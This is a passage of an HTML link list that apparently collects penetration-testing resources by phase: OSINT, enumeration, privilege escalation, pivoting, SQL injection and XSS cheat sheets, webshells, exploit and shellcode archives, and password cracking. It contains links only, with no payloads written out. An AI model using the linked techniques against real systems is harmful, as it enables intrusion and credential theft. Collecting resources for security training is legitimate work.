<li><a href="http://academy.delmar.edu/Courses/ITSY2430/eBooks/Ettercap(ManInTheMiddleAttack-tool).pdf">http://academy.delmar.edu/Courses/ITSY2430/eBooks/Ettercap(ManInTheMiddleAttack-tool).pdf</a></li>
<li><a href="http://www.ucci.it/docs/ICTSecurity-2004-26.pdf">http://www.ucci.it/docs/ICTSecurity-2004-26.pdf</a></li>
</ul>
<h2 id="phase-1---reconnaissance-information-gathering-before-the-attack">Phase 1 - Reconnaissance: Information Gathering before the Attack</h2>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Open-source_intelligence">https://en.wikipedia.org/wiki/Open-source_intelligence</a></li>
<li><a href="http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-1-social-networks/">http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-1-social-networks/</a></li>
<li><a href="http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-%E2%80%93-part-2-blogs-message-boards-and-metadata/">http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-%E2%80%93-part-2-blogs-message-boards-and-metadata/</a></li>
<li><a href="http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-3-monitoring/">http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-3-monitoring/</a></li>
<li><a href="http://www.slideshare.net/Laramies/tactical-information-gathering">http://www.slideshare.net/Laramies/tactical-information-gathering</a></li>
<li><a href="http://www.infond.fr/2010/05/toturial-footprinting.htm">http://www.infond.fr/2010/05/toturial-footprinting.html</a></li>
</ul>
<h3 id="phase-11---people-and-orginizational">Phase 1.1 - People and Orginizational</h3>
<ul>
<li><a href="http://www.spokeo.com/">http://www.spokeo.com/</a></li>
<li><a href="http://www.spoke.com/">http://www.spoke.com/</a></li>
<li><a href="https://www.xing.com/">https://www.xing.com/</a></li>
<li><a href="http://www.zoominfo.com/">http://www.zoominfo.com/</a></li>
<li><a href="https://pipl.com/">https://pipl.com/</a></li>
<li><a href="http://www.zabasearch.com/">http://www.zabasearch.com/</a></li>
<li><a href="http://www.searchbug.com/">http://www.searchbug.com/</a></li>
<li><a href="http://skipease.com/">http://skipease.com/</a></li>
<li><a href="http://addictomatic.com/">http://addictomatic.com/</a></li>
<li><a href="http://socialmention.com/">http://socialmention.com/</a></li>
<li><a href="http://entitycube.research.microsoft.com/">http://entitycube.research.microsoft.com/</a></li>
<li><a href="http://www.yasni.com/">http://www.yasni.com/</a></li>
<li><a href="http://www.glassdoor.com/index.htm">http://www.glassdoor.com/index.htm</a></li>
<li><a href="https://connect.data.com/">https://connect.data.com/</a></li>
<li><a href="https://searchwww.sec.gov/EDGARFSClient/jsp/EDGAR_MainAccess.jsp">https://searchwww.sec.gov/EDGARFSClient/jsp/EDGAR_MainAccess.jsp</a></li>
<li><a href="https://www.tineye.com/">https://www.tineye.com/</a></li>
<li><a href="http://www.peekyou.com/">http://www.peekyou.com/</a></li>
</ul>
<h3 id="phase-12---infastructure">Phase 1.2 - Infastructure</h3>
<ul>
<li><a href="http://uptime.netcraft.com/">http://uptime.netcraft.com/</a></li>
<li><a href="http://www.shodanhq.com/">http://www.shodanhq.com/</a></li>
<li><a href="http://www.domaintools.com/">http://www.domaintools.com/</a></li>
<li><a href="http://centralops.net/co/">http://centralops.net/co/</a></li>
<li><a href="http://whois.webhosting.info/">http://whois.webhosting.info/</a></li>
<li><a href="https://www.ssllabs.com/ssltest/analyze.html">https://www.ssllabs.com/ssltest/analyze.html</a></li>
<li><a href="https://www.exploit-db.com/google-hacking-database/">https://www.exploit-db.com/google-hacking-database/</a></li>
<li><a href="http://www.my-ip-neighbors.com/">http://www.my-ip-neighbors.com/</a></li>
</ul>
<h3 id="phase-12---tools">Phase 1.2 - Tools</h3>
<ul>
<li><a href="http://www.subliminalhacking.net/2012/12/27/osint-tools-recommendations-list/">OSINT Tools</a></li>
<li><a href="http://www.edge-security.com/theharvester.php">http://www.edge-security.com/theharvester.php</a></li>
<li><a href="http://www.edge-security.com/metagoofil.php">http://www.edge-security.com/metagoofil.php</a></li>
<li><a href="http://www.paterva.com/web6/">http://www.paterva.com/web6/</a></li>
<li><a href="https://www.sans.org/reading-room/whitepapers/privacy/document-metadata-silent-killer-32974">https://www.sans.org/reading-room/whitepapers/privacy/document-metadata-silent-killer-32974</a></li>
<li><a href="http://www.sno.phy.queensu.ca/~phil/exiftool/">http://www.sno.phy.queensu.ca/~phil/exiftool/</a></li>
<li><a href="http://www.darkoperator.com/blog/2009/4/24/metadata-enumeration-with-foca.html">http://www.darkoperator.com/blog/2009/4/24/metadata-enumeration-with-foca.html</a></li>
</ul>
<h2 id="phase-2---enumeration-finding-attack-vectors">Phase 2 - Enumeration: Finding Attack Vectors</h2>
<ul>
<li><a href="https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/">https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/</a></li>
<li><a href="http://securitysynapse.blogspot.be/2013_08_01_archive.html">http://securitysynapse.blogspot.be/2013_08_01_archive.html</a></li>
<li><a href="https://hackertarget.com/attacking-wordpress/">https://hackertarget.com/attacking-wordpress/</a></li>
<li><a href="https://code.google.com/p/pentest-bookmarks/wiki/BookmarksList">https://code.google.com/p/pentest-bookmarks/wiki/BookmarksList</a></li>
<li><a href="http://www.0daysecurity.com/penetration-testing/enumeration.html">http://www.0daysecurity.com/penetration-testing/enumeration.html</a></li>
<li><a href="https://github.com/n3ko1/WrapMap">https://github.com/n3ko1/WrapMap</a></li>
<li><a href="https://cirt.net/Nikto2">https://cirt.net/Nikto2</a></li>
<li><a href="http://www.unixmen.com/install-nikto-web-scanner-check-vulnerabilities/">http://www.unixmen.com/install-nikto-web-scanner-check-vulnerabilities/</a></li>
<li><a href="http://seclist.us/autoenum-nmap-enumeration-and-script-scan-automation-script.html">http://seclist.us/autoenum-nmap-enumeration-and-script-scan-automation-script.html</a></li>
<li><a href="http://code.stephenmorley.org/articles/xampp-version-history-apache-mysql-php/">http://code.stephenmorley.org/articles/xampp-version-history-apache-mysql-php/</a></li>
<li><a href="http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html">http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html</a></li>
<li><a href="http://www.iodigitalsec.com/windows-null-session-enumeration/">http://www.iodigitalsec.com/windows-null-session-enumeration/</a></li>
<li><a href="https://pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions">https://pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions</a></li>
<li><a href="http://carnal0wnage.attackresearch.com/2007/07/enumerating-user-accounts-on-linux-and.html">http://carnal0wnage.attackresearch.com/2007/07/enumerating-user-accounts-on-linux-and.html</a></li>
<li><a href="https://github.com/isaudits/autoenum">https://github.com/isaudits/autoenum</a></li>
<li><a href="http://www.webpronews.com/snmp-enumeration-and-hacking-2003-09">http://www.webpronews.com/snmp-enumeration-and-hacking-2003-09</a></li>
<li><a href="http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html">http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html</a></li>
<li><a href="http://www.iodigitalsec.com/windows-null-session-enumeration/">http://www.iodigitalsec.com/windows-null-session-enumeration/</a></li>
<li><a href="http://pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions">http://pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions</a></li>
<li><a href="http://carnal0wnage.attackresearch.com/2007/07/enumerating-user-accounts-on-linux-and.html">http://carnal0wnage.attackresearch.com/2007/07/enumerating-user-accounts-on-linux-and.html</a></li>
<li><a href="http://www.madirish.net/59">http://www.madirish.net/59</a></li>
<li><a href="http://www.enye-sec.org/en/papers/web_vuln-en.txt">http://www.enye-sec.org/en/papers/web_vuln-en.txt</a></li>
</ul>
<h2 id="phase-3---exploitation-verifying-security-weaknesses">Phase 3 - Exploitation: Verifying Security Weaknesses</h2>
<ul>
<li><a href="http://pwnwiki.io">http://pwnwiki.io</a></li>
<li><a href="http://download.vulnhub.com/pentesterlab/php_include_and_post_exploitation.pdf">http://download.vulnhub.com/pentesterlab/php_include_and_post_exploitation.pdf</a></li>
<li><a href="http://ru.scribd.com/doc/245679444/hak5-org-OSXPost-Exploitation-copy-20130228-pdf#scribd">http://ru.scribd.com/doc/245679444/hak5-org-OSXPost-Exploitation-copy-20130228-pdf#scribd</a></li>
<li><a href="https://cyberwar.nl/d/hak5.org_LinuxUnixBSDPost-ExploitationCommandList_copy-20130228.pdf">https://cyberwar.nl/d/hak5.org_LinuxUnixBSDPost-ExploitationCommandList_copy-20130228.pdf</a></li>
<li><a href="https://www.yumpu.com/en/document/view/14963680/from-sqli-to-shell">https://www.yumpu.com/en/document/view/14963680/from-sqli-to-shell</a></li>
</ul>
<h3 id="dump-windows-password-hashes">Dump Windows Password Hashes</h3>
<ul>
<li><a href="http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html">http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html</a></li>
</ul>
<h3 id="windows-passhing-the-hash">Windows Passhing The Hash</h3>
<ul>
<li><a href="https://www.kali.org/penetration-testing/passing-hash-remote-desktop/">https://www.kali.org/penetration-testing/passing-hash-remote-desktop/</a></li>
<li><a href="https://www.kali.org/kali-monday/pass-the-hash-toolkit-winexe-updates/">https://www.kali.org/kali-monday/pass-the-hash-toolkit-winexe-updates/</a></li>
</ul>
<h3 id="windows-previlige-escalation">Windows Previlige Escalation</h3>
<ul>
<li><a href="http://toshellandback.com/2015/11/24/ms-priv-esc/">http://toshellandback.com/2015/11/24/ms-priv-esc/</a></li>
<li>[https://labs.mwrinfosecurity.com/system/assets/760/original/Windows_Services_-<em>All_roads_lead_to_SYSTEM.pdf](https://labs.mwrinfosecurity.com/system/assets/760/original/Windows_Services</em>-_All_roads_lead_to_SYSTEM.pdf)</li>
<li><a href="http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/">http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/</a></li>
<li><a href="https://github.com/0xdeafbeef/PSSecSnapshot">https://github.com/0xdeafbeef/PSSecSnapshot</a></li>
<li><a href="http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html">http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html</a></li>
<li><a href="http://www.fuzzysecurity.com/tutorials/16.html">http://www.fuzzysecurity.com/tutorials/16.html</a></li>
<li><a href="http://www.youtube.com/watch?v=kMG8IsCohHA">http://www.youtube.com/watch?v=kMG8IsCohHA</a></li>
<li><a href="http://www.youtube.com/watch?v=_8xJaaQlpBo">http://www.youtube.com/watch?v=_8xJaaQlpBo</a></li>
<li><a href="http://www.greyhathacker.net/?p=738">http://www.greyhathacker.net/?p=738</a></li>
<li><a href="http://bernardodamele.blogspot.ru/2011/12/dump-windows-password-hashes.html">http://bernardodamele.blogspot.ru/2011/12/dump-windows-password-hashes.html</a></li>
</ul>
<h3 id="linux-previlige-escalation">Linux Previlige Escalation</h3>
<ul>
<li><a href="http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf">http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf</a></li>
<li><a href="http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation.html">http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation.html</a></li>
<li><a href="http://pentestmonkey.net/tools/audit/unix-privesc-check">http://pentestmonkey.net/tools/audit/unix-privesc-check</a></li>
<li><a href="http://www.rebootuser.com/?page_id=1721">http://www.rebootuser.com/?page_id=1721</a></li>
<li><a href="http://www.rebootuser.com/?p=1758">http://www.rebootuser.com/?p=1758</a></li>
<li><a href="http://www.rebootuser.com/?p=1623">http://www.rebootuser.com/?p=1623</a></li>
<li><a href="http://insidetrust.blogspot.nl/2011/04/quick-guide-to-linux-privilege.html">http://insidetrust.blogspot.nl/2011/04/quick-guide-to-linux-privilege.html</a></li>
</ul>
<h3 id="tunneling--port-forwarding">Tunneling & Port Forwarding</h3>
<ul>
<li><a href="https://www.sans.org/reading-room/whitepapers/testing/tunneling-pivoting-web-application-penetration-testing-36117">https://www.sans.org/reading-room/whitepapers/testing/tunneling-pivoting-web-application-penetration-testing-36117</a></li>
<li><a href="https://highon.coffee/blog/reverse-shell-cheat-sheet/">https://highon.coffee/blog/reverse-shell-cheat-sheet/</a></li>
<li><a href="https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/">https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/</a></li>
<li><a href="http://staff.washington.edu/corey/fw/ssh-port-forwarding.html">http://staff.washington.edu/corey/fw/ssh-port-forwarding.html</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></li>
<li><a href="http://magikh0e.ihtb.org/pubPapers/ssh_gymnastics_tunneling.html">http://magikh0e.ihtb.org/pubPapers/ssh_gymnastics_tunneling.html</a></li>
<li><a href="http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwarding.html">http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwarding.html</a></li>
<li><a href="http://www.danscourses.com/Network-Penetration-Testing/metasploit-pivoting.html">http://www.danscourses.com/Network-Penetration-Testing/metasploit-pivoting.html</a></li>
<li><a href="http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html">http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html</a></li>
<li><a href="http://www.offensive-security.com/metasploit-unleashed/Portfwd">http://www.offensive-security.com/metasploit-unleashed/Portfwd</a></li>
<li><a href="http://www.offensive-security.com/metasploit-unleashed/Pivoting">http://www.offensive-security.com/metasploit-unleashed/Pivoting</a></li>
<li><a href="http://www.howtoforge.com/reverse-ssh-tunneling">http://www.howtoforge.com/reverse-ssh-tunneling</a></li>
<li><a href="http://ftp.acc.umu.se/pub/putty/putty-0.57/htmldoc/Chapter7.html">http://ftp.acc.umu.se/pub/putty/putty-0.57/htmldoc/Chapter7.html</a>a</li>
</ul>
<h3 id="xss-cheat-codes">XSS Cheat Codes</h3>
<ul>
<li><a href="http://www.xenuser.org/xss-cheat-sheet/">http://www.xenuser.org/xss-cheat-sheet/</a></li>
<li><a href="https://gist.github.com/sseffa/11031135">https://gist.github.com/sseffa/11031135</a></li>
<li><a href="https://html5sec.org/">https://html5sec.org/</a></li>
</ul>
<h3 id="webshells">WebShells</h3>
<ul>
<li><a href="http://www.r57shell.net/">http://www.r57shell.net/</a></li>
<li><a href="https://github.com/b374k/b374k">https://github.com/b374k/b374k</a></li>
<li><a href="https://github.com/epinna/weevely3">https://github.com/epinna/weevely3</a></li>
</ul>
<h3 id="sqli-general-resources">SQLi General Resources</h3>
<ul>
<li><a href="http://www.w3schools.com/sql/sql_injection.asp">http://www.w3schools.com/sql/sql_injection.asp</a></li>
<li><a href="http://sqlzoo.net/hack/">http://sqlzoo.net/hack/</a></li>
<li><a href="https://information.rapid7.com/rs/rapid7/images/R7%20SQL_Injection_Cheat_Sheet.v1.pdf">https://information.rapid7.com/rs/rapid7/images/R7%20SQL_Injection_Cheat_Sheet.v1.pdf</a></li>
<li><a href="http://websec.ca/kb/sql_injection">http://websec.ca/kb/sql_injection</a></li>
<li><a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/">http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</a></li>
<li><a href="http://www.unixwiz.net/techtips/sql-injection.html">http://www.unixwiz.net/techtips/sql-injection.html</a></li>
<li><a href="http://www.sqlinjectionwiki.com/">http://www.sqlinjectionwiki.com/</a></li>
<li><a href="http://sqlmap.org/">http://sqlmap.org/</a></li>
<li><a href="https://packetstorm.sigterm.no/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf">https://packetstorm.sigterm.no/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf</a></li>
<li><a href="https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet">https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet</a></li>
<li><a href="http://bobby-tables.com/">http://bobby-tables.com/</a></li>
</ul>
<h3 id="mysqli-resources">MySQLi Resources</h3>
<ul>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet">http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</a></li>
<li><a href="https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/">https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/</a></li>
<li><a href="http://resources.infosecinstitute.com/backdoor-sql-injection/">http://resources.infosecinstitute.com/backdoor-sql-injection/</a></li>
</ul>
<h3 id="mssqli-resources">MSSQLi Resources</h3>
<ul>
<li><a href="http://evilsql.com/main/page2.php">http://evilsql.com/main/page2.php</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet">http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet</a></li>
</ul>
<h3 id="oracle-sqli-resources">Oracle SQLi Resources</h3>
<ul>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet">http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet</a></li>
</ul>
<h3 id="postgres-sqli-resources">Postgres SQLi Resources</h3>
<ul>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet">http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet</a></li>
</ul>
<h3 id="sqlite-resources">SQLite Resources</h3>
<ul>
<li><a href="https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet">https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet</a></li>
</ul>
<h3 id="rfilfi-tutorials">RFI/LFI Tutorials</h3>
<ul>
<li><a href="https://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/">https://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/</a></li>
<li><a href="http://www.hackersonlineclub.com/lfi-rfi">http://www.hackersonlineclub.com/lfi-rfi</a></li>
<li><a href="https://0xzoidberg.wordpress.com/category/security/lfi-rfi/">https://0xzoidberg.wordpress.com/category/security/lfi-rfi/</a></li>
</ul>
<h3 id="nasm-tutorial">NASM Tutorial</h3>
<ul>
<li><a href="http://ccm.net/faq/1559-compiling-an-assembly-program-with-nasm">http://ccm.net/faq/1559-compiling-an-assembly-program-with-nasm</a></li>
</ul>
<h3 id="buffer-overflow-tutorial">Buffer Overflow Tutorial</h3>
<ul>
<li><a href="http://www.madirish.net/142">http://www.madirish.net/142</a></li>
<li><a href="http://n01g3l.tumblr.com/post/49036035399/linux-crossfire-v1-90-buffer-overflow">http://n01g3l.tumblr.com/post/49036035399/linux-crossfire-v1-90-buffer-overflow</a></li>
<li><a href="http://resources.infosecinstitute.com/author/nikhil-kumar/">http://resources.infosecinstitute.com/author/nikhil-kumar/</a></li>
<li><a href="http://www.frequency.com/video/athcon-hack-in-paris-demo-1/40181156">http://www.frequency.com/video/athcon-hack-in-paris-demo-1/40181156</a></li>
<li><a href="http://www.savevid.com/video/athcon-hack-in-paris-demo-2.html">http://www.savevid.com/video/athcon-hack-in-paris-demo-2.html</a></li>
<li><a href="http://www.frequency.com/video/athcon-hack-in-paris-demo-3/11306148">http://www.frequency.com/video/athcon-hack-in-paris-demo-3/11306148</a></li>
<li><a href="https://tehaurum.wordpress.com/2015/06/22/exploit-development-stack-buffer-overflow/">https://tehaurum.wordpress.com/2015/06/22/exploit-development-stack-buffer-overflow/</a></li>
<li><a href="http://proactivedefender.blogspot.ru/2013/05/understanding-buffer-overflows.html">http://proactivedefender.blogspot.ru/2013/05/understanding-buffer-overflows.html</a></li>
<li><a href="https://forum.reverse4you.org/showthread.php?t=1371">https://forum.reverse4you.org/showthread.php?t=1371</a></li>
<li><a href="http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html">http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html</a></li>
<li><a href="http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html">http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html</a></li>
<li><a href="http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html">http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html</a></li>
<li><a href="http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html">http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html</a></li>
<li><a href="http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html">http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html</a></li>
<li><a href="http://thepcn3rd.blogspot.ru/2015/07/freeftpd-108-seh-stack-based-overflow.html">http://thepcn3rd.blogspot.ru/2015/07/freeftpd-108-seh-stack-based-overflow.html</a></li>
</ul>
<h3 id="exploit-development">Exploit Development</h3>
<ul>
<li><a href="https://www.corelan.be/index.php/articles/">https://www.corelan.be/index.php/articles/</a></li>
<li><a href="http://www.fuzzysecurity.com/tutorials.html">http://www.fuzzysecurity.com/tutorials.html</a></li>
<li><a href="https://code.google.com/p/it-sec-catalog/wiki/Exploitation">https://code.google.com/p/it-sec-catalog/wiki/Exploitation</a></li>
<li><a href="http://www.myne-us.com/2010/08/from-0x90-to-0x4c454554-journey-into.html">http://www.myne-us.com/2010/08/from-0x90-to-0x4c454554-journey-into.html</a></li>
<li><a href="https://www.ethicalhacker.net/columns/heffner/smashing-the-modern-stack-for-fun-and-profit">https://www.ethicalhacker.net/columns/heffner/smashing-the-modern-stack-for-fun-and-profit</a></li>
<li><a href="http://x9090.blogspot.ru/2010/03/tutorial-exploit-writting-tutorial-from.html">http://x9090.blogspot.ru/2010/03/tutorial-exploit-writting-tutorial-from.html</a></li>
<li><a href="http://ref.x86asm.net/index.html">http://ref.x86asm.net/index.html</a></li>
<li><a href="https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/">https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/</a></li>
<li><a href="https://forum.reverse4you.org/showthread.php?t=1371">https://forum.reverse4you.org/showthread.php?t=1371</a></li>
</ul>
<h3 id="exploits-and-shellcodes">Exploits and Shellcodes</h3>
<ul>
<li><a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a></li>
<li><a href="https://packetstormsecurity.com/">https://packetstormsecurity.com/</a></li>
<li><a href="http://www.securityfocus.com/bid">http://www.securityfocus.com/bid</a></li>
<li><a href="https://nvd.nist.gov/">https://nvd.nist.gov/</a></li>
<li><a href="http://osvdb.org/">http://osvdb.org/</a></li>
<li><a href="http://www.secdocs.org/">http://www.secdocs.org/</a></li>
<li><a href="http://www.cvedetails.com/">http://www.cvedetails.com/</a></li>
<li><a href="https://cve.mitre.org/">https://cve.mitre.org/</a></li>
<li><a href="http://www.windowsexploits.com/">http://www.windowsexploits.com/</a></li>
<li><a href="http://farlight.org/index.html?type=shellcode">http://farlight.org/index.html?type=shellcode</a></li>
<li><a href="http://shell-storm.org/shellcode/">http://shell-storm.org/shellcode/</a></li>
</ul>
<h3 id="reverse-engineering">Reverse Engineering</h3>
<ul>
<li><a href="https://www.cyberguerrilla.org/blog/what-the-blackhats-dont-want-you-to-know-series/">https://www.cyberguerrilla.org/blog/what-the-blackhats-dont-want-you-to-know-series/</a></li>
<li><a href="http://fumalwareanalysis.blogspot.ru/p/malware-analysis-tutorials-reverse.html">http://fumalwareanalysis.blogspot.ru/p/malware-analysis-tutorials-reverse.html</a></li>
<li><a href="http://www.woodmann.com/TiGa/idaseries.html">http://www.woodmann.com/TiGa/idaseries.html</a></li>
<li><a href="http://visi.kenshoto.com/viki/MainPage">http://visi.kenshoto.com/viki/MainPage</a></li>
<li><a href="http://www.radare.org/r/">http://www.radare.org/r/</a></li>
<li><a href="http://www.offensivecomputing.net/">http://www.offensivecomputing.net/</a></li>
<li><a href="http://www.oldapps.com/">http://www.oldapps.com/</a></li>
<li><a href="http://www.oldversion.com/">http://www.oldversion.com/</a></li>
<li><a href="https://www.exploit-db.com/webapps/">https://www.exploit-db.com/webapps/</a></li>
<li><a href="http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx</a></li>
<li><a href="http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx">http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx</a></li>
<li><a href="http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx</a></li>
<li><a href="http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx</a></li>
</ul>
<h3 id="os-cheat-sheets-and-script-syntax">OS Cheat Sheets and Script Syntax</h3>
<ul>
<li><a href="https://www.owasp.org/index.php/Cheat_Sheets">https://www.owasp.org/index.php/Cheat_Sheets</a></li>
<li><a href="http://www.cheat-sheets.org/">http://www.cheat-sheets.org/</a></li>
<li><a href="http://ss64.com/nt/">http://ss64.com/nt/</a></li>
<li><a href="https://rstforums.com/forum/22324-hacking-tools-windows.rst">https://rstforums.com/forum/22324-hacking-tools-windows.rst</a></li>
<li><a href="https://en.wikipedia.org/wiki/IPv4_subnetting_reference">https://en.wikipedia.org/wiki/IPv4_subnetting_reference</a></li>
<li><a href="http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/">http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/</a></li>
<li><a href="http://shelldorado.com/shelltips/beginner.html">http://shelldorado.com/shelltips/beginner.html</a></li>
<li><a href="http://mywiki.wooledge.org/BashPitfalls">http://mywiki.wooledge.org/BashPitfalls</a></li>
<li><a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml</a></li>
<li><a href="http://www.robvanderwoude.com/ntadmincommands.php">http://www.robvanderwoude.com/ntadmincommands.php</a></li>
<li><a href="https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf">https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf</a></li>
<li><a href="https://countuponsecurity.files.wordpress.com/2015/06/jtr-cheatsheetimg.png">https://countuponsecurity.files.wordpress.com/2015/06/jtr-cheatsheetimg.png</a></li>
<li><a href="https://danielmiessler.com/study/tcpdump/">https://danielmiessler.com/study/tcpdump/</a></li>
<li><a href="http://www.infosecwriters.com/Papers/nessusNMAPcheatSheet.pdf">http://www.infosecwriters.com/Papers/nessusNMAPcheatSheet.pdf</a></li>
</ul>
<h3 id="passwords-wordlists-hashes-tools">Passwords Wordlists, Hashes, Tools</h3>
<ul>
<li><a href="http://www.irongeek.com/i.php?page=videos/password-exploitation-class">http://www.irongeek.com/i.php?page=videos/password-exploitation-class</a></li>
<li><a href="https://cirt.net/passwords">https://cirt.net/passwords</a></li>
<li><a href="http://h.foofus.net/?page_id=51">http://h.foofus.net/?page_id=51</a></li>
<li><a href="http://h.foofus.net/?page_id=55">http://h.foofus.net/?page_id=55</a></li>
<li><a href="http://foofus.net/?page_id=63">http://foofus.net/?page_id=63</a></li>
<li><a href="http://hashcrack.blogspot.ru/">http://hashcrack.blogspot.ru/</a></li>
<li><a href="http://www.onlinehashcrack.com/">http://www.onlinehashcrack.com/</a></li>
<li><a href="http://www.md5this.com/">http://www.md5this.com/</a></li>
<li><a href="http://contest-2010.korelogic.com/wordlists.html">http://contest-2010.korelogic.com/wordlists.html</a></li>
<li><a href="https://packetstormsecurity.com/Crackers/wordlists/">https://packetstormsecurity.com/Crackers/wordlists/</a></li>
<li><a href="http://hqsoftwarecollection.blogspot.in/p/36gn-wordlist.html">http://hqsoftwarecollection.blogspot.in/p/36gn-wordlist.html</a></li>
<li><a href="https://wiki.skullsecurity.org/Passwords">https://wiki.skullsecurity.org/Passwords</a></li>
<li><a href="https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283">https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283</a></li>
<li><a href="https://www.sans.org/reading-room/whitepapers/testing/crack-pass-hash-33219">https://www.sans.org/reading-room/whitepapers/testing/crack-pass-hash-33219</a></li>
<li><a href="https://nmap.org/ncrack/">https://nmap.org/ncrack/</a></li>
<li><a href="http://www.openwall.com/john/">http://www.openwall.com/john/</a></li>
<li><a href="http://ophcrack.sourceforge.net/">http://ophcrack.sourceforge.net/</a></li>
<li><a href="https://inquisb.github.io/keimpx/">https://inquisb.github.io/keimpx/</a></li>
<li><a href="http://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-3-using-hashcat-0156543/">http://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-3-using-hashcat-0156543/</a></li>
</ul>
<h3 id="infosec-hiring">InfoSec Hiring</h3>
<ul>
<li><a href="https://www.reddit.com/r/netsec/comments/3bpdci/rnetsecs_q3_2015_information_security_hiring/">Reddit Thread Q3 2015</a></li>
<li><a href="https://www.reddit.com/r/netsec/comments/31gag9/rnetsecs_q2_2015_information_security_hiring/">Reddit Thread Q2 2015</a></li>
